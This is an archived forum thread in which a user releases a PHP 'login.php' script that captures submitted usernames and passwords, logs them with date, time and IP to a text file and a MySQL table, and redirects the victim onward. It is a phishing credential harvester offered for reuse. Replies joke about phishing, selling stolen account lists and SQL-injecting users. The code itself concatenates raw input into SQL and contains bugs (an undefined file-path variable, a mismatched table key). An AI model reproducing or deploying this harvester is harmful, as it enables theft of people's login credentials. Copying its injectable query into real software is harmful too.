A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

[RELEASE]Advanced Login.php Script (Does txt And Mysql!)

2.4k views · started by MattSmith ·
#1
[RELEASE]Advanced Login.php Script (Does txt And Mysql!)
Got bored today and made this in about an hour. Hope everyone likes it! You can modify it however you like. if you need help on how to use it just PM me and ill respond as soon as i get it. Source is below.

To change the settings, simply change the value of the variables in $Settings at the beginning. For Example, to disable it saving the info in a text file, change the line 'SaveTypeText' => True, to 'SaveTypeText' => False,

And so on, understand? mk good.

login.php
<?php
/*
****************************************************************************
**************************************
** Script By Sk8er
** Email: matt.joseph.smith@gmail.com
** Have any questions or concerns?
** Join the forum below and post in the thread in the programming section.
**
** http://www.logicalgamers.com/
**************************************
****************************************************************************
*/

$Settings = array(
'User' => "",
'Pass' => "",
'ReturnUrl' => "http://localhost/login.php%20script/",
'SaveTypeText' => True,
'TextFileDir' => "./passwords/passes.txt",
'SaveTypeSql' => True,
'SqlHost' => "localhost",
'SqlDatabase' => "loginTest",
'SqlTabl' => "Passes",
'SqlUser' => "root",
'SqlPass' => "",
);

if($_POST['User'] != null || $_POST['User'] != "")
{
$Settings['User'] = $_POST['User'];
}
if($_POST['Pass'] != null || $_POST['Pass'] != "")
{
$Settings['Pass'] = $_POST['Pass'];
}

if($Settings['User'] != "" && $Settings['Pass'] != "")
{
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . " " . date("d") . "," . date("Y");
$time = date("H:i");

if($Settings['SaveTypeText']){
$newline = "\r\n\n";
$StartLine = "--------Start--------";
$EndLine = "---------End---------";
$all = $newline . $StartLine . $newline . "Username: " . $Settings['User'] . $newline . "Password: " . $Settings['Pass'] . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $EndLine . $newline;

$handle = fopen($TextFileDir, "a");
fwrite($handle, $all);
fclose($handle);
}
if($Settings['SaveTypeSql'])
{
$Sql = mysql_connect($Settings['SqlHost'], $Settings['SqlUser'], $Settings['SqlPass']);
if($Sql)
mysql_select_db($Settings['SqlDatabase'],$Sql);

$query = "INSERT INTO `".$Settings['Tabl']."` (`User` ,`Pass` ,`Date` ,`Time` ,`IP`)VALUES ('".$Settings['User']."', '".$Settings['Pass']."', '".$date . " - " . $time ."', '".time()."', '".$ip."');";
mysql_query($query);
}
header ('Location: '.$Settings['ReturnUrl'].' ');
}
?>


Keep it logical!
#2
Utilizing MySQL with this sounds like a bunch of fun.
Selling SQL account lists, the next generation of scamming.
#3
You have to remember to sanitize user input. Don't need to remind you how dangerous it can be.
#4
Essence wrote:
Utilizing MySQL with this sounds like a bunch of fun.
Selling SQL account lists, the next generation of scamming.


Problem with that is that most sites that host with SQL will instaban phishing and/or only let you sign up once.
#5
TEMPTii wrote:
Problem with that is that most sites that host with SQL will instaban phishing and/or only let you sign up once.


Sorta like x10, but you can multi sign up on there.
It used to be a pain, cause it'd take days to get your account set up.
#6
Mk got bored today, adding ini settings to it later after i finish this FLP people in UG want.
#7
This doesn't look like it took an hour. Anyways, good job.
#8
If anyone is using this, let me know, so I can SQL inject your shit. :)
#9
GAMEchief wrote:
If anyone is using this, let me know, so I can SQL inject your shit. :)
lol, i didnt add any security, i know :P and i also dont care.
#10
Thanks for the share. needed an example.